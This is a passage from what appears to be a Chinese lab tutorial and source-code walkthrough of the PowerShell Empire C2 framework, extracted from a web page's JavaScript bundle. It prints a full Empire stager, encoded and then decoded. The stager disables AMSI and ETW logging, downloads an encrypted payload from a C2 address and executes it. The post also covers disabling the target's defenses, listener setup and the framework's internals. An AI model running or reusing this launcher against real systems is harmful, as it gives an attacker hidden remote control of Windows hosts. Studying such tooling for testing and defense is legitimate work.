\\u00003\\u0000)\\u0000{\\u0000$\\u0000R\\u0000e\\u0000f\\u0000=\\u0000[\\u0000R\\u0000e\\u0000f\\u0000]\\u0000.\\u0000A\\u0000s\\u0000s\\u0000e\\u0000m\\u0000b\\u0000l\\u0000y\\u0000.\\u0000G\\u0000e\\u0000t\\u0000T\\u0000y\\u0000p\\u0000e\\u0000(\\u0000'\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000M\\u0000a\\u0000n\\u0000a\\u0000g\\u0000e\\u0000m\\u0000e\\u0000n\\u0000t\\u0000.\\u0000A\\u0000u\\u0000t\\u0000o\\u0000m\\u0000a\\u0000t\\u0000i\\u0000o\\u0000n\\u0000.\\u0000A\\u0000m\\u0000s\\u0000i\\u0000U\\u0000t\\u0000i\\u0000l\\u0000s\\u0000'\\u0000)\\u0000;\\u0000$\\u0000R\\u0000e\\u0000f\\u0000.\\u0000G\\u0000e\\u0000t\\u0000F\\u0000i\\u0000e\\u0000l\\u0000d\\u0000(\\u0000'\\u0000a\\u0000m\\u0000s\\u0000i\\u0000I\\u0000n\\u0000i\\u0000t\\u0000F\\u0000a\\u0000i\\u0000l\\u0000e\\u0000d\\u0000'\\u0000,\\u0000'\\u0000N\\u0000o\\u0000n\\u0000P\\u0000u\\u0000b\\u0000l\\u0000i\\u0000c\\u0000,\\u0000S\\u0000t\\u0000a\\u0000t\\u0000i\\u0000c\\u0000'\\u0000)\\u0000.\\u0000S\\u0000e\\u0000t\\u0000v\\u0000a\\u0000l\\u0000u\\u0000e\\u0000(\\u0000$\\u0000N\\u0000u\\u0000l\\u0000l\\u0000,\\u0000$\\u0000t\\u0000r\\u0000u\\u0000e\\u0000)\\u0000;\\u0000[\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000D\\u0000i\\u0000a\\u0000g\\u0000n\\u0000o\\u0000s\\u0000t\\u0000i\\u0000c\\u0000s\\u0000.\\u0000E\\u0000v\\u0000e\\u0000n\\u0000t\\u0000i\\u0000n\\u0000g\\u0000.\\u0000E\\u0000v\\u0000e\\u0000n\\u0000t\\u0000P\\u0000r\\u0000o\\u0000v\\u0000i\\u0000d\\u0000e\\u0000r\\u0000]\\u0000.\\u0000G\\u0000e\\u0000t\\u0000F\\u0000i\\u0000e\\u0000l\\u0000d\\u0000(\\u0000'\\u0000m\\u0000_\\u0000e\\u0000n\\u0000a\\u0000b\\u0000l\\u0000e\\u0000d\\u0000'\\u0000,\\u0000'\\u0000N\\u0000o\\u0000n\\u0000P\\u0000u\\u0000b\\u0000l\\u0000i\\u0000c\\u0000,\\u0000I\\u0000n\\u0000s\\u0000t\\u0000a\\u0000n\\u0000c\\u0000e\\u0000'\\u0000)\\u0000.\\u0000S\\u0000e\\u0000t\\u0000V\\u0000a\\u0000l\\u0000u\\u0000e\\u0000(\\u0000[\\u0000R\\u0000e\\u0000f\\u0000]\\u0000.\\u0000A\\u0000s\\u0000s\\u0000e\\u0000m\\u0000b\\u0000l\\u0000y\\u0000.\\u0000G\\u0000e\\u0000t\\u0000T\\u0000y\\u0000p\\u0000e\\u0000(\\u0000'\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000M\\u0000a\\u0000n\\u0000a\\u0000g\\u0000e\\u0000m\\u0000e\\u0000n\\u0000t\\u0000.\\u0000A\\u0000u\\u0000t\\u0000o\\u0000m\\u0000a\\u0000t\\u0000i\\u0000o\\u0000n\\u0000.\\u0000T\\u0000r\\u0000a\\u0000c\\u0000i\\u0000n\\u0000g\\u0000.\\u0000P\\u0000S\\u0000E\\u0000t\\u0000w\\u0000L\\u0000o\\u0000g\\u0000P\\u0000r\\u0000o\\u0000v\\u0000i\\u0000d\\u0000e\\u0000r\\u0000'\\u0000)\\u0000.\\u0000G\\u0000e\\u0000t\\u0000F\\u0000i\\u0000e\\u0000l\\u0000d\\u0000(\\u0000'\\u0000e\\u0000t\\u0000w\\u0000P\\u0000r\\u0000o\\u0000v\\u0000i\\u0000d\\u0000e\\u0000r\\u0000'\\u0000,\\u0000'\\u0000N\\u0000o\\u0000n\\u0000P\\u0000u\\u0000b\\u0000l\\u0000i\\u0000c\\u0000,\\u0000S\\u0000t\\u0000a\\u0000t\\u0000i\\u0000c\\u0000'\\u0000)\\u0000.\\u0000G\\u0000e\\u0000t\\u0000V\\u0000a\\u0000l\\u0000u\\u0000e\\u0000(\\u0000$\\u0000n\\u0000u\\u0000l\\u0000l\\u0000)\\u0000,\\u00000\\u0000)\\u0000;\\u0000}\\u0000;\\u0000[\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000N\\u0000e\\u0000t\\u0000.\\u0000S\\u0000e\\u0000r\\u0000v\\u0000i\\u0000c\\u0000e\\u0000P\\u0000o\\u0000i\\u0000n\\u0000t\\u0000M\\u0000a\\u0000n\\u0000a\\u0000g\\u0000e\\u0000r\\u0000]\\u0000:\\u0000:\\u0000E\\u0000x\\u0000p\\u0000e\\u0000c\\u0000t\\u00001\\u00000\\u00000\\u0000C\\u0000o\\u0000n\\u0000t\\u0000i\\u0000n\\u0000u\\u0000e\\u0000=\\u00000\\u0000;\\u0000$\\u0000w\\u0000c\\u0000=\\u0000N\\u0000e\\u0000w\\u0000-\\u0000O\\u0000b\\u0000j\\u0000e\\u0000c\\u0000t\\u0000 \\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000N\\u0000e\\u0000t\\u0000.\\u0000W\\u0000e\\u0000b\\u0000C\\u0000l\\u0000i\\u0000e\\u0000n\\u0000t\\u0000;\\u0000$\\u0000u\\u0000=\\u0000'\\u0000M\\u0000o\\u0000z\\u0000i\\u0000l\\u0000l\\u0000a\\u0000/\\u00005\\u0000.\\u00000\\u0000 \\u0000(\\u0000W\\u0000i\\u0000n\\u0000d\\u0000o\\u0000w\\u0000s\\u0000 \\u0000N\\u0000T\\u0000 \\u00006\\u0000.\\u00001\\u0000;\\u0000 \\u0000W\\u0000O\\u0000W\\u00006\\u00004\\u0000;\\u0000 \\u0000T\\u0000r\\u0000i\\u0000d\\u0000e\\u0000n\\u0000t\\u0000/\\u00007\\u0000.\\u00000\\u0000;\\u0000 \\u0000r\\u0000v\\u0000:\\u00001\\u00001\\u0000.\\u00000\\u0000)\\u0000 \\u0000l\\u0000i\\u0000k\\u0000e\\u0000 \\u0000G\\u0000e\\u0000c\\u0000k\\u0000o\\u0000'\\u0000;\\u0000$\\u0000s\\u0000e\\u0000r\\u0000=\\u0000$\\u0000(\\u0000[\\u0000T\\u0000e\\u0000x\\u0000t\\u0000.\\u0000E\\u0000n\\u0000c\\u0000o\\u0000d\\u0000i\\u0000n\\u0000g\\u0000]\\u0000:\\u0000:\\u0000U\\u0000n\\u0000i\\u0000c\\u0000o\\u0000d\\u0000e\\u0000.\\u0000G\\u0000e\\u0000t\\u0000S\\u0000t\\u0000r\\u0000i\\u0000n\\u0000g\\u0000(\\u0000[\\u0000C\\u0000o\\u0000n\\u0000v\\u0000e\\u0000r\\u0000t\\u0000]\\u0000:\\u0000:\\u0000F\\u0000r\\u0000o\\u0000m\\u0000B\\u0000a\\u0000s\\u0000e\\u00006\\u00004\\u0000S\\u0000t\\u0000r\\u0000i\\u0000n\\u0000g\\u0000(\\u0000'\\u0000a\\u0000A\\u0000B\\u00000\\u0000A\\u0000H\\u0000Q\\u0000A\\u0000c\\u0000A\\u0000A\\u00006\\u0000A\\u0000C\\u00008\\u0000A\\u0000L\\u0000w\\u0000A\\u0000x\\u0000A\\u0000D\\u0000A\\u0000A\\u0000M\\u0000A\\u0000A\\u0000u\\u0000A\\u0000D\\u0000E\\u0000A\\u0000L\\u0000g\\u0000A\\u0000x\\u0000A\\u0000C\\u00004\\u0000A\\u0000M\\u0000Q\\u0000A\\u0000z\\u0000A\\u0000D\\u0000Y\\u0000A\\u0000O\\u0000g\\u0000A\\u00005\\u0000A\\u0000D\\u0000A\\u0000A\\u0000O\\u0000Q\\u0000A\\u0000w\\u0000A\\u0000A\\u0000=\\u0000=\\u0000'\\u0000)\\u0000)\\u0000)\\u0000;\\u0000$\\u0000t\\u0000=\\u0000'\\u0000/\\u0000l\\u0000o\\u0000g\\u0000i\\u0000n\\u0000/\\u0000p\\u0000r\\u0000o\\u0000c\\u0000e\\u0000s\\u0000s\\u0000.\\u0000p\\u0000h\\u0000p\\u0000'\\u0000;\\u0000$\\u0000w\\u0000c\\u0000.\\u0000H\\u0000e\\u0000a\\u0000d\\u0000e\\u0000r\\u0000s\\u0000.\\u0000A\\u0000d\\u0000d\\u0000(\\u0000'\\u0000U\\u0000s\\u0000e\\u0000r\\u0000-\\u0000A\\u0000g\\u0000e\\u0000n\\u0000t\\u0000'\\u0000,\\u0000$\\u0000u\\u0000)\\u0000;\\u0000$\\u0000w\\u0000c\\u0000.\\u0000P\\u0000r\\u0000o\\u0000x\\u0000y\\u0000=\\u0000[\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000N\\u0000e\\u0000t\\u0000.\\u0000W\\u0000e\\u0000b\\u0000R\\u0000e\\u0000q\\u0000u\\u0000e\\u0000s\\u0000t\\u0000]\\u0000:\\u0000:\\u0000D\\u0000e\\u0000f\\u0000a\\u0000u\\u0000l\\u0000t\\u0000W\\u0000e\\u0000b\\u0000P\\u0000r\\u0000o\\u0000x\\u0000y\\u0000;\\u0000$\\u0000w\\u0000c\\u0000.\\u0000P\\u0000r\\u0000o\\u0000x\\u0000y\\u0000.\\u0000C\\u0000r\\u0000e\\u0000d\\u0000e\\u0000n\\u0000t\\u0000i\\u0000a\\u0000l\\u0000s\\u0000 \\u0000=\\u0000 \\u0000[\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000N\\u0000e\\u0000t\\u0000.\\u0000C\\u0000r\\u0000e\\u0000d\\u0000e\\u0000n\\u0000t\\u0000i\\u0000a\\u0000l\\u0000C\\u0000a\\u0000c\\u0000h\\u0000e\\u0000]\\u0000:\\u0000:\\u0000D\\u0000e\\u0000f\\u0000a\\u0000u\\u0000l\\u0000t\\u0000N\\u0000e\\u0000t\\u0000w\\u0000o\\u0000r\\u0000k\\u0000C\\u0000r\\u0000e\\u0000d\\u0000e\\u0000n\\u0000t\\u0000i\\u0000a\\u0000l\\u0000s\\u0000;\\u0000$\\u0000S\\u0000c\\u0000r\\u0000i\\u0000p\\u0000t\\u0000:\\u0000P\\u0000r\\u0000o\\u0000x\\u0000y\\u0000 \\u0000=\\u0000 \\u0000$\\u0000w\\u0000c\\u0000.\\u0000P\\u0000r\\u0000o\\u0000x\\u0000y\\u0000;\\u0000$\\u0000K\\u0000=\\u0000[\\u0000S\\u0000y\\u0000s\\u0000t\\u0000e\\u0000m\\u0000.\\u0000T\\u0000e\\u0000x\\u0000t\\u0000.\\u0000E\\u0000n\\u0000c\\u0000o\\u0000d\\u0000i\\u0000n\\u0000g\\u0000]\\u0000:\\u0000:\\u0000A\\u0000S\\u0000C\\u0000I\\u0000I\\u0000.\\u0000G\\u0000e\\u0000t\\u0000B\\u0000y\\u0000t\\u0000e\\u0000s\\u0000(\\u0000'\\u0000H\\u0000u\\u0000v\\u0000,\\u00003\\u0000g\\u0000t\\u0000s\\u0000c\\u0000}\\u0000#\\u0000_\\u0000E\\u0000:\\u0000f\\u0000F\\u0000X\\u0000w\\u0000n\\u00002\\u0000b\\u0000U\\u0000P\\u0000V\\u0000|\\u0000i\\u0000M\\u0000e\\u00000\\u0000+\\u00005\\u0000R\\u0000'\\u0000)\\u0000;\\u0000$\\u0000R\\u0000=\\u0000{\\u0000$\\u0000D\\u0000,\\u0000$\\u0000K\\u0000=\\u0000$\\u0000A\\u0000r\\u0000g\\u0000s\\u0000;\\u0000$\\u0000S\\u0000=\\u00000\\u0000.\\u0000.\\u00002\\u00005\\u00005\\u0000;\\u00000\\u0000.\\u0000.\\u00002\\u00005\\u00005\\u0000|\\u0000%\\u0000{\\u0000$\\u0000J\\u0000=\\u0000(\\u0000$\\u0000J\\u0000+\\u0000$\\u0000S\\u0000[\\u0000$\\u0000_\\u0000]\\u0000+\\u0000$\\u0000K\\u0000[\\u0000$\\u0000_\\u0000%\\u0000$\\u0000K\\u0000.\\u0000C\\u0000o\\u0000u\\u0000n\\u0000t\\u0000]\\u0000)\\u0000%\\u00002\\u00005\\u00006\\u0000;\\u0000$\\u0000S\\u0000[\\u0000$\\u0000_\\u0000]\\u0000,\\u0000$\\u0000S\\u0000[\\u0000$\\u0000J\\u0000]\\u0000=\\u0000$\\u0000S\\u0000[\\u0000$\\u0000J\\u0000]\\u0000,\\u0000$\\u0000S\\u0000[\\u0000$\\u0000_\\u0000]\\u0000}\\u0000;\\u0000$\\u0000D\\u0000|\\u0000%\\u0000{\\u0000$\\u0000I\\u0000=\\u0000(\\u0000$\\u0000I\\u0000+\\u00001\\u0000)\\u0000%\\u00002\\u00005\\u00006\\u0000;\\u0000$\\u0000H\\u0000=\\u0000(\\u0000$\\u0000H\\u0000+\\u0000$\\u0000S\\u0000[\\u0000$\\u0000I\\u0000]\\u0000)\\u0000%\\u00002\\u00005\\u00006\\u0000;\\u0000$\\u0000S\\u0000[\\u0000$\\u0000I\\u0000]\\u0000,\\u0000$\\u0000S\\u0000[\\u0000$\\u0000H\\u0000]\\u0000=\\u0000$\\u0000S\\u0000[\\u0000$\\u0000H\\u0000]\\u0000,\\u0000$\\u0000S\\u0000[\\u0000$\\u0000I\\u0000]\\u0000;\\u0000$\\u0000_\\u0000-\\u0000b\\u0000x\\u0000o\\u0000r\\u0000$\\u0000S\\u0000[\\u0000(\\u0000$\\u0000S\\u0000[\\u0000$\\u0000I\\u0000]\\u0000+\\u0000$\\u0000S\\u0000[\\u0000$\\u0000H\\u0000]\\u0000)\\u0000%\\u00002\\u00005\\u00006\\u0000]\\u0000}\\u0000}\\u0000;\\u0000$\\u0000w\\u0000c\\u0000.\\u0000H\\u0000e\\u0000a\\u0000d\\u0000e\\u0000r\\u0000s\\u0000.\\u0000A\\u0000d\\u0000d\\u0000(\\u0000\\"\\u0000C\\u0000o\\u0000o\\u0000k\\u0000i\\u0000e\\u0000\\"\\u0000,\\u0000\\"\\u0000c\\u0000H\\u0000G\\u0000A\\u0000f\\u0000d\\u0000L\\u0000Z\\u0000D\\u0000C\\u0000E\\u0000t\\u0000L\\u0000M\\u0000K\\u0000=\\u0000l\\u0000L\\u0000q\\u00008\\u0000U\\u0000w\\u0000i\\u0000E\\u0000u\\u0000z\\u0000v\\u0000I\\u0000Q\\u0000D\\u00004\\u0000j\\u00007\\u0000p\\u00006\\u0000I\\u0000J\\u0000s\\u0000h\\u0000i\\u0000i\\u00001\\u0000E\\u0000=\\u0000\\"\\u0000)\\u0000;\\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000=\\u0000$\\u0000w\\u0000c\\u0000.\\u0000D\\u0000o\\u0000w\\u0000n\\u0000l\\u0000o\\u0000a\\u0000d\\u0000D\\u0000a\\u0000t\\u0000a\\u0000(\\u0000$\\u0000s\\u0000e\\u0000r\\u0000+\\u0000$\\u0000t\\u0000)\\u0000;\\u0000$\\u0000i\\u0000v\\u0000=\\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000[\\u00000\\u0000.\\u0000.\\u00003\\u0000]\\u0000;\\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000=\\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000[\\u00004\\u0000.\\u0000.\\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000.\\u0000l\\u0000e\\u0000n\\u0000g\\u0000t\\u0000h\\u0000]\\u0000;\\u0000-\\u0000j\\u0000o\\u0000i\\u0000n\\u0000[\\u0000C\\u0000h\\u0000a\\u0000r\\u0000[\\u0000]\\u0000]\\u0000(\\u0000&\\u0000 \\u0000$\\u0000R\\u0000 \\u0000$\\u0000d\\u0000a\\u0000t\\u0000a\\u0000 \\u0000(\\u0000$\\u0000I\\u0000V\\u0000+\\u0000$\\u0000K\\u0000)\\u0000)\\u0000|\\u0000I\\u0000E\\u0000X\\u0000"
+
里面的 \\u0000
无用, 去除 \\u0000
并规范化后得到:
If ( $PSVersionTable . PSVersion. Major -ge 3) {
+ $Ref = [Ref] . Assembly. GetType( 'System.Management.Automation.AmsiUtils' ) ;
+ $Ref . GetField( 'amsiInitFailed' , 'NonPublic,Static' ) . Setvalue( $Null , $true ) ;
+ [System.Diagnostics.Eventing.EventProvider] . GetField( 'm_enabled' , 'NonPublic,Instance' ) . SetValue( [Ref] . Assembly. GetType( 'System.Management.Automation.Tracing.PSEtwLogProvider' ) . GetField( 'etwProvider' , 'NonPublic,Static' ) . GetValue( $null ) , 0) ;
+} ;
+[System.Net.ServicePointManager] ::Expect100Continue = 0;
+$wc = New-Object System. Net. WebClient;
+$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' ;
+$ser = $( [Text.Encoding] ::Unicode. GetString( [Convert] ::FromBase64String( 'aAB0AHQAcAA6AC8ALwAxADAAMAAuADEALgAxAC4AMQAzADYAOgA5ADAAOQAwAA==' ) ) ) ;
+$t = '/login/process.php' ; $wc . Headers. Add( 'User-Agent' , $u ) ;
+$wc . Proxy = [System.Net.WebRequest] ::DefaultWebProxy;
+$wc . Proxy. Credentials = [System.Net.CredentialCache] ::DefaultNetworkCredentials;
+$Script :Proxy = $wc . Proxy;
+$K = [System.Text.Encoding] ::ASCII. GetBytes( 'Huv,3gtsc}#_E:fFXwn2bUPV|iMe0+5R' ) ;
+$R = {
+ $D , $K = $Args ; $S = 0. . 255; 0. . 255 | % {
+ $J = ( $J + $S [ $_ ] + $K [ $_ % $K . Count] ) % 256; $S [ $_ ] , $S [ $J ] = $S [ $J ] , $S [ $_ ]
+ } ;
+ $D | % { $I = ( $I + 1) % 256; $H = ( $H + $S [ $I ] ) % 256; $S [ $I ] , $S [ $H ] = $S [ $H ] , $S [ $I ] ; $_ -bxor $S [ ( $S [ $I ] + $S [ $H ] ) % 256] }
+} ;
+$wc . Headers. Add( "Cookie" , "cHGAfdLZDCEtLMK=lLq8UwiEuzvIQD4j7p6IJshii1E=" ) ;
+$data = $wc . DownloadData( $ser + $t ) ;
+$iv = $data [ 0. . 3] ;
+$data = $data [ 4. . $data . length] ;
+-join [Char[]] ( & $R $data ( $IV + $K ) ) | IEX
+
执行命令以上线主机 执行完后可以获得一行命令, 将其拷贝下来, 然后在靶机侧执行该命令
也可以使用 CMD, 这里被防火墙拦了, 作为测试使用, 本次先关闭防火墙以及实时防护
关掉之后就可以成功执行了
成功执行后 empire cleint 会收到一条上线消息:
使用 agents 查看当前上线的主机并可以使用 interact 命令与其交互
可以使用 info
命令看下该主机的基本信息
也可以弹个计算器:
需要稍微等待一会儿等待命令执行, 执行完会显示 received
在靶机侧可以看到计算器已经弹出来了
可以使用 kill 命令关闭与此 agent 的连接
+agents
+kill [ 主机名]
+
+agents
+
Starkiller `,47),O={href:"https://github.com/BC-SECURITY/Starkiller",target:"_blank",rel:"noopener noreferrer"},X=t('从 Empire 5.0 以及 Starkiller 2.0 开始, 无需手动拉取 Starkiller 仓库来构建, Starkiller 已经作为子模块打包在了 Empire 中并通过 Empire 的 API 提供服务
通过 Github 源码安装了 Empire 5.0+ 之后可以在 empire/server/api/v2/starkiller
看到 Starkiller 的源码:
默认挂在了 1337 端口
可以通过 restport
参数来指定
访问 1337/index.html
即可看到登录页:
默认账密在 config.yaml
中有定义:
不在 empire 本机打开网页的话需要把 URL 中的 localhost 改成 empire 机子的 ip
成功登入后会显示 listeners 界面:
可以通过点击头像并点击 >|
来固定左侧边栏:
可以在 Users 界面设置用户的管理员权限以及是否启用
在 Settings
页面可以修改当前用户的密码, 以及登出
:
需要注意的是 , 在修改了密码或是禁用了 empireadmin
账户后需要相应修改配置文件中的默认账密, 否则可能会导致 server 或者 client 默认使用默认配置而起不来
整体源码概述 ',28),z={href:"https://tttang.com/archive/1281/",target:"_blank",rel:"noopener noreferrer"},j=t(`然后手动精简一下:
.
+├── changelog
+├── CHANGELOG.md
+├── conftest.py
+├── Dockerfile
+├── docs
+│ ├── ...各类帮助文档
+├── empire
+│ ├── arguments.py
+│ ├── client
+│ │ ├── client.py
+│ │ ├── config.yaml
+│ │ ├── downloads
+│ │ ├── generated-stagers
+│ │ ├── __init__.py
+│ │ └── src
+│ ├── __init__.py
+│ ├── scripts
+│ │ └── sync_starkiller.py
+│ ├── server
+│ │ ├── api
+│ │ ├── bypasses
+│ │ ├── common
+│ │ ├── config.yaml
+│ │ ├── core
+│ │ ├── csharp
+│ │ ├── data
+│ │ │ ├── agent
+│ │ │ ├── __init__.py
+│ │ │ ├── Invoke-Obfuscation 用于混淆 Powershell命令
+│ │ │ ├── listeners
+│ │ │ ├── misc
+│ │ │ ├── module_source
+│ │ │ ├── obfuscated_module_source
+│ │ │ └── profiles
+│ │ ├── downloads
+│ │ ├── __init__.py
+│ │ ├── listeners 各类listener
+│ │ ├── modules 各类后渗透阶段的payload
+│ │ ├── plugins 插件示例
+│ │ ├── server.py
+│ │ ├── stagers 各类平台下的stager脚本
+│ │ └── utils
+│ └── test
+│ ├── ... 各类测试
+├── empire.py 主程序入口
+├── LICENSE
+├── poetry.lock
+├── ps-empire
+├── pyproject.toml
+├── pytest.ini
+├── README.md
+├── setup
+│ ├── cert.sh
+│ ├── checkout-latest-tag.sh
+│ └── install.sh
+└── tree.md - 刚才生成的项目树结构的文件
+
+36 directories, 87 files
+
暂时还没看到的目录便还没标注含义
调试 可以使用 VSCode 配置 launch.json
来调试 Empire
{
+ "version" : "0.2.0" ,
+ "configurations" : [
+ {
+ "name" : "Powershell Empire Server" ,
+ "type" : "python" ,
+ "request" : "launch" ,
+ "program" : "\${workspaceFolder}/empire.py" ,
+ "python" : "\${workspaceFolder}/.venv/bin/python" ,
+ "args" : [ "server" ] ,
+ "cwd" : "\${workspaceFolder}" ,
+ "console" : "integratedTerminal"
+ }
+ ]
+}
+
然后可以在主程序上打断点来做调试
主程序入口 empire.py
:
+
+import sys
+
+import empire. arguments as arguments
+
+if __name__ == "__main__" :
+ args = arguments. args
+
+ if args. subparser_name == "server" :
+ import empire. server. server as server
+
+ server. run( args)
+ elif args. subparser_name == "sync-starkiller" :
+ import yaml
+
+ from empire. scripts. sync_starkiller import sync_starkiller
+
+ with open ( "empire/server/config.yaml" ) as f:
+ config = yaml. safe_load( f)
+
+ sync_starkiller( config)
+ elif args. subparser_name == "client" :
+ import empire. client. client as client
+
+ client. start( args)
+
+ sys. exit( 0 )
+
+
起 Powershell empire
这里看下 server: empire/server/server.py
的 run
函数
def run ( args) :
+ setup_logging( args)
+ check_submodules( )
+ check_recommended_configuration( )
+
+ if not args. restport:
+ args. restport = 1337
+ else :
+ args. restport = int ( args. restport[ 0 ] )
+
+ if not args. restip:
+ args. restip = "0.0.0.0"
+ else :
+ args. restip = args. restip[ 0 ]
+
+ if args. version:
+
+ print ( empire. VERSION)
+ sys. exit( )
+
+ elif args. reset:
+ choice = input (
+ "\\x1b[1;33m[>] Would you like to reset your Empire Server instance? [y/N]: \\x1b[0m"
+ )
+ if choice. lower( ) == "y" :
+ reset( )
+
+ sys. exit( )
+
+ else :
+ base. startup_db( )
+ global main
+
+
+
+
+ if main is None :
+ main = empire. MainMenu( args= args)
+
+ if not os. path. exists( "./empire/server/data/empire-chain.pem" ) :
+ log. info( "Certificate not found. Generating..." )
+ subprocess. call( "./setup/cert.sh" )
+ time. sleep( 3 )
+
+ from empire. server. api import app
+
+ app. initialize( secure= args. secure_api, ip= args. restip, port= args. restport)
+
+ sys. exit( )
+
+
旧版 Empire 默认使用 Sqlite 数据库, 这里则推荐使用 Mysql
检查完配置项并传入命令行参数后会启动数据库 base.startup_db()
此函数主要用于检查数据库的初始状态是否正确, 不正确则输出报错提示(一般会在大版本更新的时候出现这种情况)
创建了一个数据库会话 Session 用于与数据库交互; 如果当前用了 mysql 的话则检查 unique_check
列, 不存在则创建, 用来作为键值 创建索引 agent_checkin_idx
来加速对 AgentCheckIn
表的 agent_id
以及 checkin_time
列的查询 检查并生成用户记录、数据库配置记录、关键词模糊记录以及混淆配置记录的默认配置 检查数据库表结构与 model 是否一致, 有问题则输出报错并退出程序 接着就是初始化 main menu, 加载插件与配置:
检查与生成证书, 然后进入 app 初始化函数
加载一堆后端路由:
配置 CORS, 创建一个支持异步的 WebSocket 服务器
加载 Starkiller, 证书并启动服务
Listener `,42),W={href:"https://tttang.com/archive/1281/",target:"_blank",rel:"noopener noreferrer"},V=t(`下面开始研究 Empire 中的 listener
, stager
与 agent
listener
: 监听器, C2 服务器需要与被控端连接以向其发布命令, 这就需要开放一个端口来与被控端连接; Empire 中的 http listener 就是起了一个 flask web application, 利用 flask 内置的 WSGI 来作为 serverstager
是一个小心地木马程序 用于在目标机器上执行并与 listener 建立连接; Empire 支持通过 usestager
命令生成不同文件格式的 stager 以适应不同目标系统和执行方式agent
则是指代被控端那么这里以新建与设置 HTTP listener 的流程来 debug 一下项目
uselistener http
+
+set Port 9091
+
+execute
+
Listener Start
通过如下 Get 请求匹配 URL 末尾的 listener 类型字符串来获取 listener 模板:
这些 listener 是在上图中的类 ListenerTemplateService
初始化时从本地 py 文件加载的:
这里具体看看 http.py
中是如何写的:
一千多行的 listener 实现, 其中主要的函数有:
default_response
: IIS 7.5 404 not found pagevalidate_options
: 检查 listener 中必要的 options 是否都设置好了generate_launcher
: 为指定 listener 生成基础的启动器generate_stager
: 生成与该 listener 通信所需的 stager 代码generate_agent
: 生成与该 listener 通信所需的完整的 agent 代码generate_comms
: 仅生成与该 listener 通信所需的 agent 代码块, 从而可以为新的 listener 动态更新 agentstart_server
: 根据配置生成与启动相应 Flask APP 线程start
: Listener Start, 启动 start_server()
的线程实例并将其存储在 self.threads
字典中shutdown
: Listener Stop, 中断存储在 self.threads
字典中的 server 线程具体函数实现在后面用到时再进行分析
其结构与 client 端看到的回显一致:
然后可以通过 set Host / set Name
等命令设置各个属性, 然后使用 options
命令进行查看
可以看到是发了条 Post 请求, 不过 Server 回显先出现了, 可能和信息打印的顺序有关系, 重新 execute 抓下包看看发了什么
tcpdump -nn -vv -i lo -w 202309111557_测一下httpListenerExecute命令做了什么.pcap
+
看样子就是把 Listener 的信息放在请求体中发过去了
查找相应的接口:
可以看到又回到 Listener 本身了, 通过 Listener json 信息实例化 Listener 然后调用其 start 函数启动 Listener
定义路由与中间件起一个 Flask app
后续交互就可以看下具体的路由了, 这里先简单捋一下
/download/<stager>/
: 下载 stager
/
, /iisstart.htm
: 展示首页GET, POST /<path:request_uri>
: 用于真正进行 C2 与 agent 之间的通信之于前面的外层的 Thread 函数则是为 Listener 的 Flask app 另外起个线程跑:
上图中圈起来的两个线程对应两个 Listener 在 start_server
函数中起的 Flask app
建立连接 `,61);function n0(s0,a0){const e=p("ExternalLinkIcon"),u=p("Mermaid");return o(),l("div",null,[A,n("blockquote",null,[n("p",null,[n("a",r,[s("https://github.com/EmpireProject/Empire"),a(e)])]),n("p",null,[n("a",d,[s("powershell-empire | Kali Linux Tools --- powershell 帝国| Kali Linux 工具"),a(e)])]),n("p",null,[n("a",m,[s("PowerShell Empire 实战入门篇 - FreeBuf 网络安全行业门户"),a(e)])]),n("p",null,[n("a",g,[s("Empire 2.5:PowerShell 渗透测试实战指南(上篇) - FreeBuf 网络安全行业门户"),a(e)])])]),n("p",null,[n("a",k,[s("EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent. (github.com)"),a(e)]),s(" 是一个渗透测试框架("),v,s("), 它包含一个 Pure Powershell 2.0 的 Windows 代理和一个 Pure Python")]),b,n("blockquote",null,[n("p",null,[n("a",h,[s("eliben/pycparser: 🐍 Complete C99 parser in pure Python --- eliben/pycparser: 🐍 纯 Python 中的完整 C99 解析器 (github.com)"),a(e)])])]),B,n("blockquote",null,[n("p",null,[s("["),n("a",y,[s("已解决] poetry install 命令安装依赖报错,无法安装部分依赖 · Issue #1217 · HibiKier/zhenxun_bot (github.com)"),a(e)])]),n("p",null,[n("a",Q,[s("python - DBusErrorResponse while running poetry install - Stack Overflow --- python - 运行诗歌安装时的 DBusErrorResponse - VoidCC"),a(e)])])]),w,E,G,n("blockquote",null,[n("p",null,[n("a",D,[s("KeyRingError: Failed to create the collection: Prompt dismissed.. · Issue #3012 · python-poetry/poetry --- KeyRingError:无法创建集合:提示已关闭..·问题#3012·python-poetry/poetry (github.com)"),a(e)])]),n("p",null,[n("a",C,[s("Error: Unable to store the password for poetry-repository-pypi in the key ring: Failed to unlock the collection! · Issue #2692 · python-poetry/poetry --- 错误:无法在钥匙圈中存储诗歌存储库-pypi 的密码:无法解锁集合! · 问题 #2692 · python-poetry/poetry (github.com)"),a(e)])]),n("p",null,[n("a",N,[s("python poetry 1.0.0 private repo issue fix – Frank-Mich's Blog --- python 诗 1.0.0 私人回购问题修复 – Frank-Mich 的博客"),a(e)])])]),f,n("blockquote",null,[n("p",null,[n("a",_,[s("Nim - 维基百科,自由的百科全书 (wikipedia.org)"),a(e)])]),n("p",null,[H,s("是一个"),n("a",U,[s("指令式"),a(e)]),s("、"),n("a",x,[s("通用"),a(e)]),s("、"),n("a",F,[s("多范式"),a(e)]),s("、"),n("a",S,[s("静态类型"),a(e)]),s("、"),n("a",q,[s("编译型"),a(e)]),s("的"),n("a",$,[s("编程语言"),a(e)]),s(", 